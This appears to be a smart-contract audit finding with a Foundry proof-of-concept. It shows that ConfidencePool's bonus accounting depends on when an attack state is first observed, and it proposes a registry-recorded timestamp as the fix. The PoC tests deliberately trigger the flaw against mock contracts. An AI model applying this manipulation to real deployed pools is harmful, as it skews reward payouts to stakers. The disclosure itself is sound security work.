If no observation recorded during an attack, riskWindowStart is never initiated leading to no distribution of bonus during that round. Furthermore, because riskWindowStart initializes sumStakeTime and sumStakeTimeSq, delaying its initialization directly changes the values later consumed by _bonusShare(), producing different reward allocations despite identical attack timelines.
test_AttackWitnessedNoObservation(), in this scenario, no function calls _observePoolState(). Therefore, riskWindowStart remains 0 even after the attack is over. From the protocol's perspective, no attack has ever occured, causing _bonusShare() to result in 0 for every participant and preventing and bonus from being distributed.
test_LateEntrant_ImmediateObservation() is the control test, after agreement enters the UNDER_ATTACK state, pokeRiskWindow() is called instantly, allowing _markRiskWindowStart() to record the correct time of the attack.
Result : CONTROL
test_LateEntrant_DelayedObservation() demonstrates how this vulnerability changes the accounting inputs used for bonus distribution. Although the agreements enters UNDER_ATTACK state on day 10, same as the control scenario, riskWindowStart remains 0 until the LateEntrant call stake() on day 15, altering the accounting used for bonus distribution.
Result :
EXPLOIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {console} from "forge-std/console.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
* @title PoC: The protocol's reward accounting is dependent on an observation latency, resulting in different outcomes for identical situations.
* @author ZakariaeM
* @notice
* IMPACT 1: if the attack is never observed, the riskWindowStart remains uninitialized, resulting in a null bonus distribution.
* IMPACT 2: Because observation depends on a later interaction rather than the registry transition itself, the recorded timestamp may differ from the actual transition time. causing an unfair distribution of rewards between participants.
* To demonstrate the exploit, I have copied the setUp and initialization logic from the BaseConfidencePoolTest and created three tests.
*/
contract PoC is Test {
uint256 internal constant ONE = 1e18;
address internal constant DEFAULT_SCOPE_ACCOUNT = address(0xC0FFEE);
MockERC20 internal token;
MockAttackRegistry internal attackRegistry;
MockSafeHarborRegistry internal safeHarborRegistry;
MockAgreement internal agreementContract;
ConfidencePool internal pool;
address internal agreement;
address internal moderator = address(this);
address internal recovery = makeAddr("recovery");
address internal attacker = makeAddr("attacker");
address internal alice = makeAddr("alice");
address internal bob = makeAddr("bob");
address internal carol = makeAddr("carol");
address internal dave = makeAddr("dave");
uint256 internal constant BASE_TIMESTAMP = 1_750_000_000;
function setUp() public virtual {
vm.warp(BASE_TIMESTAMP);
token = new MockERC20();
attackRegistry = new MockAttackRegistry();
safeHarborRegistry = new MockSafeHarborRegistry();
agreementContract = new MockAgreement(address(this));
agreement = address(agreementContract);
agreementContract.setContractInScope(DEFAULT_SCOPE_ACCOUNT, true);
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
safeHarborRegistry.setAgreementValid(agreement, true);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
ConfidencePool implementation = new ConfidencePool();
pool = ConfidencePool(Clones.clone(address(implementation)));
pool.initialize(
agreement,
address(token),
address(safeHarborRegistry),
moderator,
block.timestamp + 31 days,
ONE,
recovery,
address(this),
_defaultScope()
);
}
function _deployPool() internal returns (ConfidencePool deployedPool) {
ConfidencePool implementation = new ConfidencePool();
deployedPool = ConfidencePool(Clones.clone(address(implementation)));
deployedPool.initialize(
agreement,
address(token),
address(safeHarborRegistry),
moderator,
block.timestamp + 31 days,
ONE,
recovery,
address(this),
_defaultScope()
);
}
function _defaultScope() internal pure returns (address[] memory accounts) {
accounts = new address[](1);
accounts[0] = DEFAULT_SCOPE_ACCOUNT;
}
function _stake(address user, uint256 amount) internal {
_stakeRaw(user, amount);
}
function _stakeRaw(address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(pool), amount);
pool.stake(amount);
vm.stopPrank();
}
function _contributeBonus(address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(pool), amount);
pool.contributeBonus(amount);
vm.stopPrank();
}
function _passThroughUnderAttack() internal {
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
}
function _withdraw(address user) internal {
vm.prank(user);
pool.withdraw();
}
function test_AttackWitnessedNoObservation() public {
uint256 start = pool.expiry() - 30 days;
uint256 HONEST_STAKE = 1000 ether;
uint256 BONUS_AMOUNT = 100 ether;
vm.warp(start);
token.mint(address(this), BONUS_AMOUNT);
token.approve(address(pool), BONUS_AMOUNT);
pool.contributeBonus(BONUS_AMOUNT);
vm.warp(start + 1 days);
token.mint(alice, HONEST_STAKE);
vm.startPrank(alice);
token.approve(address(pool), HONEST_STAKE);
pool.stake(HONEST_STAKE);
vm.stopPrank();
vm.warp(start + 10 days);
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.UNDER_ATTACK
);
vm.warp(start + 20 days);
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.PRODUCTION
);
vm.prank(moderator);
pool.flagOutcome(
PoolStates.Outcome.SURVIVED,
false,
address(0)
);
vm.prank(alice);
pool.claimSurvived();
uint256 aliceBalance = token.balanceOf(alice);
console.log("EXPLOIT");
console.log("Risk start:", pool.riskWindowStart());
console.log("Alice balance before attack", HONEST_STAKE);
console.log("Alice balance after attack", aliceBalance);
assertEq(pool.riskWindowStart(), 0);
assertEq(aliceBalance, HONEST_STAKE);
assertEq(pool.claimedBonus(), 0);
assertEq(pool.snapshotTotalBonus(), BONUS_AMOUNT);
assertEq(pool.totalBonus(), BONUS_AMOUNT);
}
function test_LateEntrant_ImmediateObservation() public {
uint256 start = pool.expiry() - 30 days;
uint256 ALICE_STAKE = 1000 ether;
uint256 BOB_STAKE = 750 ether;
uint256 BONUS_AMOUNT = 100 ether;
vm.warp(start);
token.mint(alice, ALICE_STAKE);
vm.startPrank(alice);
token.approve(address(pool), ALICE_STAKE);
pool.stake(ALICE_STAKE);
vm.stopPrank();
vm.warp(start + 10 days);
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.UNDER_ATTACK
);
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), start + 10 days);
token.mint(address(this), BONUS_AMOUNT);
token.approve(address(pool), BONUS_AMOUNT);
pool.contributeBonus(BONUS_AMOUNT);
vm.warp(start + 15 days);
token.mint(bob, BOB_STAKE);
vm.startPrank(bob);
token.approve(address(pool), BOB_STAKE);
pool.stake(BOB_STAKE);
vm.stopPrank();
vm.warp(start + 20 days);
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.PRODUCTION
);
vm.prank(moderator);
pool.flagOutcome(
PoolStates.Outcome.SURVIVED,
false,
address(0)
);
vm.prank(alice);
pool.claimSurvived();
vm.prank(bob);
pool.claimSurvived();
uint256 aliceBalance = token.balanceOf(alice);
uint256 LateEntrantsBalance = token.balanceOf(bob);
console.log(" CONTROL");
console.log("Risk start:", pool.riskWindowStart());
console.log("Alice balance after reward:", aliceBalance);
console.log("LateEntrant after reward:", LateEntrantsBalance);
console.log("Alice bonus:", aliceBalance - ALICE_STAKE);
console.log("Bob bonus:", LateEntrantsBalance - BOB_STAKE);
assertEq(pool.riskWindowStart(), start + 10 days);
}
function test_LateEntrant_DelayedObservation() public {
uint256 start = pool.expiry() - 30 days;
uint256 ALICE_STAKE = 1000 ether;
uint256 BOB_STAKE = 750 ether;
uint256 BONUS_AMOUNT = 100 ether;
vm.warp(start);
token.mint(alice, ALICE_STAKE);
vm.startPrank(alice);
token.approve(address(pool), ALICE_STAKE);
pool.stake(ALICE_STAKE);
vm.stopPrank();
vm.warp(start + 10 days);
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.UNDER_ATTACK
);
vm.warp(start + 15 days);
token.mint(bob, BOB_STAKE);
vm.startPrank(bob);
token.approve(address(pool), BOB_STAKE);
pool.stake(BOB_STAKE);
vm.stopPrank();
vm.warp(start + 16 days);
token.mint(address(this), BONUS_AMOUNT);
token.approve(address(pool), BONUS_AMOUNT);
pool.contributeBonus(BONUS_AMOUNT);
vm.warp(start + 20 days);
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.PRODUCTION
);
vm.prank(moderator);
pool.flagOutcome(
PoolStates.Outcome.SURVIVED,
false,
address(0)
);
vm.prank(alice);
pool.claimSurvived();
vm.prank(bob);
pool.claimSurvived();
uint256 aliceBalance = token.balanceOf(alice);
uint256 LateEntrantsBalance = token.balanceOf(bob);
console.log(" EXPLOIT ");
console.log("Risk start:", pool.riskWindowStart());
console.log("Alice balance after reward:", aliceBalance);
console.log("LateEntrant after reward:", LateEntrantsBalance);
console.log("Alice bonus:", aliceBalance - ALICE_STAKE);
console.log("Bob bonus:", LateEntrantsBalance - BOB_STAKE);
assertEq(pool.riskWindowStart(), start + 15 days);
}
}
The registry should provide a timestamp at which the agreement transition into UNDER_ATTACK.ConfidencePool should Initiate riskWindowStart from this recorded transaction rather than relaying on block.timestamp when _observePoolState is first executed during an UNDER_ATTACK.